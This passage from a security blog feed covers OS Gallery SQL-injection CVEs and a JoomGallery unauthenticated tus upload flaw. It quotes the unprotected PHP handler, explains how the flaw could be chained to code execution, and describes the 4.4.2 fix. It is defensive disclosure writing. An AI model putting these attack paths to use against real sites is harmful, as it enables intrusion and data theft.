&lt;p&gt;&lt;code&gt;mod_osgallery_search&lt;/code&gt; is the kind of module that ends up on a page and gets forgotten about: a small search box next to a gallery, doing what a search box does. Anyone who can reach that page, which is anyone who can reach the site, can send a crafted search term and pull data straight out of the database with a UNION SELECT, administrator password hashes included. No login, no CSRF token, no gallery-manager account required.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor could extract your whole database: usernames, emails, password hashes, session IDs, shopping orders, invoices, and everything else it holds. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;A second SQL injection at the same permission level&lt;/h2&gt;
&lt;p&gt;The fourth CVE, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88855/&quot;&gt;CVE-2026-88855&lt;/a&gt;, scores lowest of the four at 8.6 High. &lt;code&gt;saveGallery()&lt;/code&gt; passes form data through a hand-rolled parser into Joomla’s Input object, then reads it back with filter types that do not sanitise SQL content. Values from &lt;code&gt;category_names[]&lt;/code&gt;, &lt;code&gt;catOrderIds&lt;/code&gt; and the image-ordering fields go straight into SQL with no quoting and no integer cast, and an account with core.manage on the gallery can use it to read and write the whole database, including a UNION-based pull of the &lt;code&gt;#__users&lt;/code&gt; password hashes.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.6&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88855/&quot;&gt;CVE-2026-88855&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Who found this, and what OrdaSoft has said&lt;/h2&gt;
&lt;p&gt;All four CVEs credit the same finder, Ala Arfaoui, a security researcher whose public disclosure history up to now is entirely WordPress: more than a dozen credited CVEs, mostly cross-site request forgery and SQL injection in smaller WordPress plugins, going back several years. As far as the CVE records show, these four OS Gallery findings are the first time that work has crossed over into Joomla. Eight days later, six more records crediting the same finder covered &lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;three more OrdaSoft extensions, Real Estate Manager, Vehicle Manager and Book Library&lt;/a&gt;, each with an SQL injection that needs no login. On 30 September 2026 OrdaSoft shipped the same sort-order fix in a fourth extension, &lt;a href=&quot;https://mysites.guru/blog/ordasoft-os-cck-sql-injection/&quot;&gt;OS CCK&lt;/a&gt;, with an update server that still offers the vulnerable version. The same release fixed an unauthenticated upload flaw in OS CCK that runs PHP, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt;, again credited to Ala Arfaoui.&lt;/p&gt;
&lt;p&gt;OrdaSoft’s own site has no changelog entry, no security page and no mention of any of the four CVE numbers as of publication. We could not find a public advisory, a release announcement, or any acknowledgement of the finder. The only place 6.2.7 is named as the fix is inside the four CVE records themselves. That is not unusual for a small extension vendor, most of the vendor self-fixes we cover here say considerably more than this, but it does mean the version number in this post is the only public confirmation of the fix available right now.&lt;/p&gt;
&lt;p&gt;OS Gallery does not currently appear on the Joomla Vulnerable Extensions List, and these four CVEs are the first ever published against &lt;code&gt;com_osgallery&lt;/code&gt;. There is no earlier history to compare the fix against.&lt;/p&gt;
&lt;h2&gt;How to check every OS Gallery site you manage&lt;/h2&gt;
&lt;p&gt;By hand, checking one site means logging in, opening the extension manager, filtering for OS Gallery, reading the version, and updating anything on 6.2.6 or below. On one site that is a few minutes. Across forty sites it is most of an afternoon, and it is the kind of afternoon where site thirty-one gets less attention than site three.&lt;/p&gt;
&lt;p&gt;In mySites.guru, search the extension inventory once for OS Gallery and get back every connected site running it with its current version, and any site below 6.2.7 is flagged on its own site card without you searching for anything.&lt;/p&gt;
&lt;p&gt;If a gallery-manager account on any of your sites was compromised through either RCE route, the practical next step is finding whatever was left behind. A planted PHP file does not have to look like a webshell to behave like one.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/uploadfiles&quot;&gt;Find files capable of accepting an upload&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/uploadfiles&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the numbers look like across the sites we manage&lt;/h2&gt;
&lt;p&gt;As of today, the large majority of the OS Gallery installs we can see across the Joomla sites on mySites.guru are on a version below 6.2.7, which is what you would expect on the day four new CVEs are published against an extension that had none before. That is not a criticism of anyone running it. A fix released today has not had time to reach anyone, which is why we flag affected sites and email their owners rather than assuming a CVE record alone gets the word out.&lt;/p&gt;
&lt;p&gt;OS Gallery ships a free “Light” edition alongside the paid one, and a site running it reports a version string like “6.2.5 Light” rather than a bare number. mySites.guru’s matcher strips the edition tag before comparing, so a Light install is judged on its version number the same way a Pro one is.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; The four CVE identifiers are reserved The Joomla CNA reserves CVE-2026-88854 through CVE-2026-88857 for OS Gallery, ten days before any record is published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-20&lt;/strong&gt; All four CVEs are published The Joomla CNA publishes all four records the same day, crediting Ala Arfaoui as the finder of all four. This is the extension&apos;s first published CVE history; no earlier CVE exists against com_osgallery.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-20&lt;/strong&gt; OS Gallery 6.2.7 is named as the fix All four published records name 6.2.7 as the version that resolves the flaw described in it. We could not find a public vendor advisory or changelog entry announcing the release independently of the CVE records.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-20&lt;/strong&gt; mySites.guru flags every affected site The detection rule covering OS Gallery 1.0.0 to 6.2.6 goes live, and every connected site running an affected version is flagged automatically on its site card.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88857/&quot;&gt;CVE-2026-88857 record&lt;/a&gt; - the file upload RCE, CWE-434.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88856/&quot;&gt;CVE-2026-88856 record&lt;/a&gt; - the arbitrary function call RCE, CWE-94.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88855/&quot;&gt;CVE-2026-88855 record&lt;/a&gt; - the authenticated SQL injection, CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-88854/&quot;&gt;CVE-2026-88854 record&lt;/a&gt; - the unauthenticated SQL injection, CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; - the developer reference for parameterised queries.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - why an upload endpoint needs its own content and permission checks.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension flaws this sits alongside.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>os-gallery</category><category>sql-injection</category><category>osgallery</category><enclosure url="https://mysites.guru/img/og/blog/os-gallery-sql-injection-rce-disclosure.png" length="0" type="image/png"/></item><item><title>JoomGallery 4.4.2 Fixes an Unauthenticated File Upload</title><link>https://mysites.guru/blog/joomgallery-unauthenticated-file-upload/</link><guid isPermaLink="true">https://mysites.guru/blog/joomgallery-unauthenticated-file-upload/</guid><description>JoomGallery 4.0.0 to 4.4.1 accept uploads from anyone with no login. Install 4.4.2. The CVE briefly named 4.4.1 as the fix before it was corrected.</description><pubDate>Sat, 19 Sep 2026 10:35:14 GMT</pubDate><content:encoded>&lt;p&gt;Install JoomGallery 4.4.2. Every 4.x release before it, from 4.0.0 up to and including 4.4.1, ships an upload service that accepts files from anyone on the internet with no login at all.&lt;/p&gt;
&lt;p&gt;That is the short version, and if you only read one line it should be that one. For four days after publication the CVE record itself would have sent you to the wrong release; it has since been corrected, but always confirm the version reads 4.4.2 on the site itself rather than trusting a feed.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;the Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-84048/&quot;&gt;CVE-2026-84048&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An anonymous visitor can write files into the site&apos;s temp directory, and read back or delete anyone else&apos;s upload in progress. Neither the file name nor the extension is under their control, which is what keeps this short of straightforward remote code execution on a normal server.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Joomla 4, 5 and 6&lt;/span&gt;&lt;span&gt;Fixed in 4.4.2&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you manage Joomla sites through mySites.guru, the work is already done for you. The vulnerability rule covering JoomGallery 4.0.0 to 4.4.1 is live, so every connected site running an affected version is flagged on its site card, and searching the mySites.guru extension inventory for JoomGallery gives you every site that has it with the installed version beside each one. We have also emailed the owner of every affected site directly, with their own sites listed.&lt;/p&gt;
&lt;h2&gt;For four days, the advisory named the wrong version&lt;/h2&gt;
&lt;p&gt;Here is the trap that existed between 15 and 19 September, and it is a good example of why a machine-readable security record is not the same thing as security advice.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-84048/&quot;&gt;CVE-2026-84048&lt;/a&gt; was published titled &lt;code&gt;Joomla Extension - joomgalleryfriends.net - Unauthenticated arbitrary file upload via the TUS endpoint in JoomGallery &amp;lt; 4.4.1&lt;/code&gt;. Read that the way everybody reads a CVE title and you would have concluded the flaw was fixed in 4.4.1.&lt;/p&gt;
&lt;p&gt;The record’s structured affected list said something different from the start:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;versions&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;: [ { &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;affected&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;4.0.0-4.4.1&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; } ]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That range included 4.4.1. The two parts of one record disagreed, and the version list was the accurate one. JoomGallery 4.4.1 was released on 8 September 2026 as an ordinary bugfix release with ten non-security changes in it, and the upload service it shipped was unchanged from 4.4.0. The fix arrived ten days later in 4.4.2.&lt;/p&gt;
&lt;p&gt;The vendor’s own advisory had it right from the start: affected 4.0.0 up to and including 4.4.1, fixed in 4.4.2. But the CVE record carried no remediation field, so anything downstream that wanted to tell you what to install had to derive it from the title. On 19 September, the day after 4.4.2 shipped, one widely-read vulnerability database was still rendering the record as “any release below 4.4.1 is considered affected”, adding “no vendor fix or workaround currently provided”, and recommending you “upgrade the JoomGallery extension to version 4.4.1 or later” - on the same page whose affected table listed 4.4.1 as vulnerable.&lt;/p&gt;
&lt;p&gt;We reported the title mismatch to the Joomla Security Strike Team the same day. They corrected the title to &lt;code&gt;&amp;lt; 4.4.2&lt;/code&gt;, and the downstream database has since re-derived its remediation advice from the fixed title too. If you are reading the CVE record today, it names the right version. The trap only ever caught whoever acted on it during that four-day window.&lt;/p&gt;
&lt;p&gt;One artifact still reads the old way and always will: the vendor’s own GitHub release notes for 4.4.2 quote the original CVE description verbatim, so the release that contains the fix describes the flaw as affecting versions ”&amp;lt; 4.4.1”. Release notes don’t get revised after publication the way a CVE record does.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If you actioned this between 15 and 19 September, check what you installed&lt;/p&gt;&lt;div&gt;&lt;p&gt;An automated feed or a scanner that derived its advice from the CVE title in that window would have told you to install 4.4.1. That version is affected. Open one of the sites you updated and confirm the JoomGallery version reads 4.4.2 before you consider this closed.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the JoomGallery upload service actually did&lt;/h2&gt;
&lt;p&gt;JoomGallery 4.x ships a drag-and-drop multi-upload widget for the gallery, and behind it an implementation of &lt;a href=&quot;https://tus.io/protocols/resumable-upload&quot;&gt;tus&lt;/a&gt;, an open protocol for resumable uploads. Resumable means the upload is split across several requests on purpose: one to create the upload and get back a handle, more to append bytes at an offset, another to check how far it got. A dropped connection resumes instead of starting over, which is the right thing to want when someone is uploading five hundred photographs over hotel wifi.&lt;/p&gt;
&lt;p&gt;The implementation is a vendored fork of an open-source tus server, wired into the component and dispatched before anything else happens in the controller. In 4.4.1 the entire precondition on creating an upload is a check that the client sent the right protocol version header:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;POST&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  if&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;checkTusVersion&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    throw&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; Request&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;The requested protocol version is not supported&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; 405&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;buildUuid&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;processPost&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    break&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no session token, no permission check and no check of who is asking. Search the whole request path at that release for &lt;code&gt;checkToken&lt;/code&gt;, &lt;code&gt;getFormToken&lt;/code&gt;, &lt;code&gt;authorise&lt;/code&gt;, &lt;code&gt;checkACL&lt;/code&gt; or &lt;code&gt;getIdentity&lt;/code&gt; and you get nothing back, which is an unusually clean answer to the question “what was missing”.&lt;/p&gt;
&lt;h2&gt;What an anonymous visitor could do on a stock Joomla server&lt;/h2&gt;
&lt;p&gt;This is where the reporting on this flaw splits in two, and each side overstates in the opposite direction. The vendor’s page calls it critical. The record scores it 6.3 Medium. The useful answer is the list of what the endpoint permitted on a default install:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Write arbitrary bytes&lt;/dt&gt;&lt;dd&gt;Create an upload and append any content to it. The bytes are entirely attacker-chosen; only the file&apos;s name is not.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Read back someone else&apos;s upload&lt;/dt&gt;&lt;dd&gt;The server&apos;s GET handler streams an upload back to anyone who names its handle, and it is enabled by default in both releases.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Delete someone else&apos;s upload&lt;/dt&gt;&lt;dd&gt;The DELETE handler has the same absence of an ownership check as everything else.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Fill the disk&lt;/dt&gt;&lt;dd&gt;The 250MB cap was enforced against a header rather than against what was stored, and both guards in the write loop were skipped entirely by a chunked request that sends no Content-Length.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;None of that needs an unusual server. It needs JoomGallery 4.3.0 or later installed and enabled.&lt;/p&gt;
&lt;p&gt;What the endpoint would not do is give an attacker a file they could run. On creating an upload, JoomGallery generates the filename itself, as 32 hexadecimal characters with no extension and nothing appended from the request. The attacker-supplied &lt;code&gt;filename&lt;/code&gt; in the upload metadata is only read much later, at the point the gallery finalises an image into the library, and that step runs the component’s normal permission and file-type checks that an anonymous visitor cannot pass. So the artefact left on disk is a pair of files in the Joomla temp directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;tmp/aabbccddeeff00112233445566778899&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;tmp/aabbccddeeff00112233445566778899.info&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first holds whatever was uploaded. The second is a small JSON record of the upload’s state.&lt;/p&gt;
&lt;h3&gt;Why code execution needs an unusual server&lt;/h3&gt;
&lt;p&gt;Both the vendor and the CVE say code execution requires a non-standard server configuration, and that holds up.&lt;/p&gt;
&lt;p&gt;A default Joomla &lt;code&gt;tmp&lt;/code&gt; directory is web-readable and ships only an &lt;code&gt;index.html&lt;/code&gt;. The bundled &lt;code&gt;htaccess.txt&lt;/code&gt; has no rules covering it. So one of those files will happily be served to a browser. It will not be executed, because it has no extension, and both Apache with a &lt;code&gt;.php&lt;/code&gt; handler and nginx with a &lt;code&gt;location ~ \.php$&lt;/code&gt; block decide what to execute by extension.&lt;/p&gt;
&lt;p&gt;Getting one to run needs the server to have been told to execute things by something other than extension: a &lt;code&gt;SetHandler&lt;/code&gt; bound to a directory rather than a suffix, an nginx location that passes everything to PHP-FPM, a temp path pointed somewhere a second stack executes, or a separate file-inclusion bug elsewhere on the site that will include a path the attacker can name. That last one is the realistic chain, and it needs a second vulnerability to exist first. The attacker does know the exact path, because the server hands the handle back in the response to the request that created the upload.&lt;/p&gt;
&lt;p&gt;So: not a webshell drop on a normal LAMP stack, and the 6.3 is honest. Also not nothing, because everything in the table above happens on a completely ordinary install.&lt;/p&gt;
&lt;h2&gt;The front-end route opened in 4.3.0, not 4.0.0&lt;/h2&gt;
&lt;p&gt;The CVE and the vendor both date this to the beginning of the 4.x branch. The vendor’s wording is that the flaw “has existed since the introduction of JoomGallery 4.x”. We read the released packages for 4.0.0, 4.1.1, 4.2.0, 4.3.0, 4.4.1 and 4.4.2 to work out what changed and when, and the picture is slightly more specific than that.&lt;/p&gt;
&lt;p&gt;The upload service has been unprotected since 4.0.0, which is what the vendor is describing. But reaching it without logging in is a separate question, and the answer changed partway through the branch:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4.0.0 to 4.2.0&lt;/div&gt;&lt;div&gt;Administrator only&lt;/div&gt;&lt;div&gt;The upload service exists with no access checks, but the only route to it is inside the Joomla administrator, behind the core.manage permission on the component.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;4.3.0 to 4.4.1&lt;/div&gt;&lt;div&gt;Reachable by anyone&lt;/div&gt;&lt;div&gt;A site-side controller inherits the upload dispatch for the first time, so the same unprotected service answers requests from the public front end.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Read from the released packages at each tag. We did not exploit a running 4.2.0 install to confirm the negative, so treat the earlier band as the code&apos;s account rather than a tested one.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;From 4.3.0, released in February 2026, a controller in the site half of the component extends the administrator controller that dispatches the upload service, and Joomla’s own access gate does not help, because it only checks permissions when the request is for the administrator application. That gives three front-end routes into it, all reachable without a login.&lt;/p&gt;
&lt;p&gt;This distinction is worth having if you are triaging a backlog of Joomla sites rather than updating one. A site sitting on 4.1.1 is in better shape than one on 4.4.1, because the unprotected endpoint there needs an administrator session to reach at all. It still wants updating, and mySites.guru still flags it, both because the vendor and the CNA describe the whole branch as affected and because an endpoint with no token check is reachable through a logged-in administrator’s browser whatever else is true.&lt;/p&gt;
&lt;h2&gt;What JoomGallery 4.4.2 changed&lt;/h2&gt;
&lt;p&gt;The fix rewrites the upload service rather than patching one check into it, which is the right shape of response. Four things were added.&lt;/p&gt;
&lt;p&gt;A session token is now required on every request that writes. The server reads an &lt;code&gt;X-CSRF-Token&lt;/code&gt; header and compares it against Joomla’s form token with &lt;code&gt;hash_equals&lt;/code&gt;, rejecting anything that does not match with a 403. On its own that stops a third-party page driving a logged-in administrator’s browser, though it does not stop anonymous abuse, because a guest has a session and a valid token too.&lt;/p&gt;
&lt;p&gt;Each upload is now owned. On creation the server records an owner derived from the logged-in user id, or from a hash of the session id for a guest, and every later request comparing that owner with &lt;code&gt;hash_equals&lt;/code&gt; before it will touch the upload. That is what stops one visitor reading, resuming or deleting another visitor’s upload.&lt;/p&gt;
&lt;p&gt;Every upload must now name a target the requester is allowed to write to. A new authorisation step loads the gallery category or image being uploaded into and runs the component’s own permission check against it, and rejects the request when no target is given. This is the control that actually shuts the anonymous attacker out, because an anonymous visitor has no permission to add an image to a category.&lt;/p&gt;
&lt;p&gt;The size limit is now enforced against what is being stored rather than against a header the client supplied, and the write loop’s bound no longer depends on a &lt;code&gt;Content-Length&lt;/code&gt; that a chunked request simply omits.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;One change in the same release that is easy to misread&lt;/p&gt;&lt;div&gt;&lt;p&gt;The upload handle also changed, from an MD5 of &lt;code&gt;uniqid()&lt;/code&gt; seeded with &lt;code&gt;mt_rand()&lt;/code&gt; and the machine name, to &lt;code&gt;bin2hex(random_bytes(16))&lt;/code&gt;. That looks like a weak-randomness fix and it is worth understanding as the opposite. In 4.4.1 the handle protected nothing, because anyone could create uploads freely and no request checked ownership, so a perfectly random value would have changed nothing. The patch gives the handle a security job for the first time, by pairing it with the owner check, and a predictable value would have been a real weakness under the new design. The fix is correct for what the code became, not a repair of what it was.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Three CVEs in one Joomla extension branch in under a month&lt;/h2&gt;
&lt;p&gt;This is the third CVE against the JoomGallery 4.x branch in four weeks, and the second of the three classified as improper access control.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Published&lt;/th&gt;&lt;th&gt;What it was&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66916/&quot;&gt;CVE-2026-66916&lt;/a&gt;&lt;/td&gt;&lt;td&gt;22 Aug 2026&lt;/td&gt;&lt;td&gt;Password-protected categories readable through the JSON view, which skipped the gate the HTML view enforced&lt;/td&gt;&lt;td&gt;4.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66917/&quot;&gt;CVE-2026-66917&lt;/a&gt;&lt;/td&gt;&lt;td&gt;22 Aug 2026&lt;/td&gt;&lt;td&gt;Stored cross-site scripting through image records, executing for every later visitor&lt;/td&gt;&lt;td&gt;4.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-84048/&quot;&gt;CVE-2026-84048&lt;/a&gt;&lt;/td&gt;&lt;td&gt;15 Sep 